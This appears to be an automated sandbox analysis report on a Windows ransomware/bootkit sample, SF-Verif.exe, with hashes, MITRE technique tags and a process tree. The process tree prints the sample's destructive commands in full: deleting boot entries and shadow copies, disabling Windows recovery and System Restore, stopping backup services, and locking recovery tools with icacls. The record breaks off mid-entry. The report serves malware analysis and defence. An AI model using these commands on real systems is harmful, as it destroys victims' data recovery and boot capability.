0d2207c53fcb676d9b54b55e06a207b0242eebb8ddd5b1e1f1d37c6c9744cf2c

Analysis

user interaction
yes
max time kernel
1s
max time network
119s
platform
windows11-21h2_x64
resource
win11-20260513-fr
resource tags

arch:x64arch:x86image:win11-20260513-frlocale:fr-fros:windows11-21h2-x64systemwindows
submitted
23/05/2026, 23:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
SF-Verif.exe
Size 658KB
Sample260523-3x5nxsfv21
SHA256 0d2207c53fcb676d9b54b55e06a207b0242eebb8ddd5b1e1f1d37c6c9744cf2c
MD5 04cabbf13c2e16ff835021e7f5a8fa81
SHA1 91e8e975ec95fe14b911b33123a10cdc7afe8f83
SHA512 e4f8276c130c8477fb9d016b80e29fba308a3f1668246ead1efb54194ee3c2a9a94774586413dbb96c102d2da9c9324ab72b4766816f65b6b9957450f2b5edb2
SSDEEP 6144:RLe+EPr99TzKe6Jrblf46eIEVTAf5mCrlddOwfm18WgaRth86cEcm:onTzK/rbl4TIKcACRdUmm1dth83EH
TLSH
T1F8E4F83AF71219ADC05F437B85A5C3E195916A85F33465B702B08E53BAE34C25F2AFC2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 22 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3132	bcdedit.exe
2416	bcdedit.exe
2604	bcdedit.exe
2780	bcdedit.exe
2828	bcdedit.exe
1576	bcdedit.exe
644	bcdedit.exe
3216	bcdedit.exe
5360	bcdedit.exe
4392	bcdedit.exe
2388	bcdedit.exe
2472	bcdedit.exe
892	bcdedit.exe
2168	bcdedit.exe
3856	bcdedit.exe
5936	bcdedit.exe
4560	bcdedit.exe
5012	bcdedit.exe
2232	bcdedit.exe
1216	bcdedit.exe
2128	bcdedit.exe
4208	bcdedit.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1756	icacls.exe
3676	icacls.exe
6088	icacls.exe
5304	icacls.exe
2312	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1536	cmd.exe
1552	cmd.exe
3472	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	SF-Verif.exe

Launches sc.exe 18 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5940	sc.exe
4544	sc.exe
4928	sc.exe
4908	sc.exe
2484	sc.exe
3272	sc.exe
644	sc.exe
5292	sc.exe
6064	sc.exe
4620	sc.exe
412	sc.exe
1476	sc.exe
5856	sc.exe
5940	sc.exe
3932	sc.exe
5836	sc.exe
5440	sc.exe
6044	sc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3272	msedge.exe

Interacts with shadow copies 3 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5884	vssadmin.exe
1876	vssadmin.exe
640	vssadmin.exe
5080	vssadmin.exe

Kills process with taskkill 47 IoCs

defense_evasion

pid	Process
4288	taskkill.exe
5164	taskkill.exe
1716	taskkill.exe
5080	taskkill.exe
1216	taskkill.exe
4244	taskkill.exe
4824	taskkill.exe
3992	taskkill.exe
1636	taskkill.exe
5132	taskkill.exe
5956	taskkill.exe
3548	taskkill.exe
3312	taskkill.exe
3148	taskkill.exe
5948	taskkill.exe
1052	taskkill.exe
1404	taskkill.exe
4028	taskkill.exe
1576	taskkill.exe
1892	taskkill.exe
5672	taskkill.exe
2948	taskkill.exe
5208	taskkill.exe
4936	taskkill.exe
5420	taskkill.exe
5000	taskkill.exe
5972	taskkill.exe
1136	taskkill.exe
5292	taskkill.exe
4648	taskkill.exe
3188	taskkill.exe
5812	taskkill.exe
5188	taskkill.exe
1576	taskkill.exe
1464	taskkill.exe
5808	taskkill.exe
4212	taskkill.exe
920	taskkill.exe
5328	taskkill.exe
772	taskkill.exe
1888	taskkill.exe
2776	taskkill.exe
1336	taskkill.exe
2844	taskkill.exe
2608	taskkill.exe
5584	taskkill.exe
5132	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4816	reg.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4992 wrote to memory of 5004	4992	SF-Verif.exe	79
PID 4992 wrote to memory of 1484	4992	SF-Verif.exe	81
PID 1484 wrote to memory of 3132	1484	cmd.exe	83
PID 4992 wrote to memory of 3560	4992	SF-Verif.exe	84
PID 3560 wrote to memory of 2416	3560	cmd.exe	86
PID 4992 wrote to memory of 5136	4992	SF-Verif.exe	87
PID 5136 wrote to memory of 2604	5136	cmd.exe	89
PID 4992 wrote to memory of 5068	4992	SF-Verif.exe	90
PID 5068 wrote to memory of 2780	5068	cmd.exe	92
PID 4992 wrote to memory of 2520	4992	SF-Verif.exe	93
PID 2520 wrote to memory of 2828	2520	cmd.exe	95
PID 4992 wrote to memory of 1168	4992	SF-Verif.exe	96

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5004	attrib.exe
564	attrib.exe
3328	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe
"C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of WriteProcessMemory
PID:4992
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
  2⤵
  - Views/modifies file attributes
  PID:5004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5136
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:1168
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:1832
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:5256
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:1008
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:5456
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:3868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:5572
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:3840
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:4164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:3852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:3512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:1492
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:1356
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:4172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1276
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
    3⤵
    PID:1660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1912
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:1752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5212
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:4568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:5840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:5744
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:5440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:2196
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:6064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:1052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:2896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:5704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:4224
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:4928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:1896
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:4620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:5844
- - C:\Windows\system32\sc.exe
    sc stop "SDRSVC"
    3⤵
    - Launches sc.exe
    PID:4908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:5116
- - C:\Windows\system32\sc.exe
    sc config "SDRSVC" start= disabled
    3⤵
    - Launches sc.exe
    PID:3932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:6096
- - C:\Windows\system32\sc.exe
    sc stop "VSS"
    3⤵
    - Launches sc.exe
    PID:6044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:4528
- - C:\Windows\system32\sc.exe
    sc config "VSS" start= disabled
    3⤵
    - Launches sc.exe
    PID:412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:4504
- - C:\Windows\system32\sc.exe
    sc stop "swprv"
    3⤵
    - Launches sc.exe
    PID:2484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:6016
- - C:\Windows\system32\sc.exe
    sc config "swprv" start= disabled
    3⤵
    - Launches sc.exe
    PID:5940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:2660
- - C:\Windows\system32\sc.exe
    sc stop "vds"
    3⤵
    - Launches sc.exe
    PID:4544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:3824
- - C:\Windows\system32\sc.exe
    sc config "vds" start= disabled
    3⤵
    - Launches sc.exe
    PID:1476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:5888
- - C:\Windows\system32\sc.exe
    sc stop "Winmgmt"
    3⤵
    - Launches sc.exe
    PID:3272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:3724
- - C:\Windows\system32\sc.exe
    sc config "Winmgmt" start= disabled
    3⤵
    - Launches sc.exe
    PID:5836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5244
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f
    3⤵
    PID:2924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2560
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:5664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5020
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:5088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f 2>nul
  2⤵
  PID:5004
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f
    3⤵
    PID:3524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootmenupolicy standard 2>nul
  2⤵
  PID:2468
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootmenupolicy standard
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No 2>nul
  2⤵
  PID:2100
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no 2>nul
  2⤵
  PID:4316
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} displaybootmenu no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} timeout 0 2>nul
  2⤵
  PID:5072
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} timeout 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
  2⤵
  PID:1596
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
  2⤵
  PID:5820
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1536
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f
    3⤵
    PID:3936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1552
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f
    3⤵
    PID:828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3472
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f
    3⤵
    PID:312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.wim" 2>nul
  2⤵
  PID:1604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.esd" 2>nul
  2⤵
  PID:1640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:1960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\$WinREAgent" 2>nul
  2⤵
  PID:1996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:1980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.wim" 2>nul
  2⤵
  PID:2092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.esd" 2>nul
  2⤵
  PID:5032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:1376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\$WinREAgent" 2>nul
  2⤵
  PID:996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\Recovery" 2>nul
  2⤵
  PID:3544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2064
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:1756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:5896
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:3676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:3876
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:6088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2272
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:5304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:4196
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2312
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67.html
  2⤵
  PID:3356
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x348,0x7ff852bbc188,0x7ff852bbc194,0x7ff852bbc1a0
    3⤵
    PID:2152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=fr --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1708,i,8042888469533343453,10456052703381825444,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=2896 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3272
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1500,i,17755175226715703927,11037631601943602193,262144 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:2
    3⤵
    PID:3256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=fr --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2076,i,8094426555226610040,68750892938560524,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:13
    3⤵
    PID:5540
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3488,i,10358660928520998343,16521120214633026518,2097152 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
    3⤵
    PID:4652
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3504,i,12154708619001379334,159934234060430096,2097152 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
    3⤵
    PID:4832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4332,i,2998859194188215044,15667170602964299992,2097152 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=4376 /prefetch:1
    3⤵
    PID:5124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=fr --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5100,i,10169193048191966079,3267315611475401191,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:12
    3⤵
    PID:4080
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
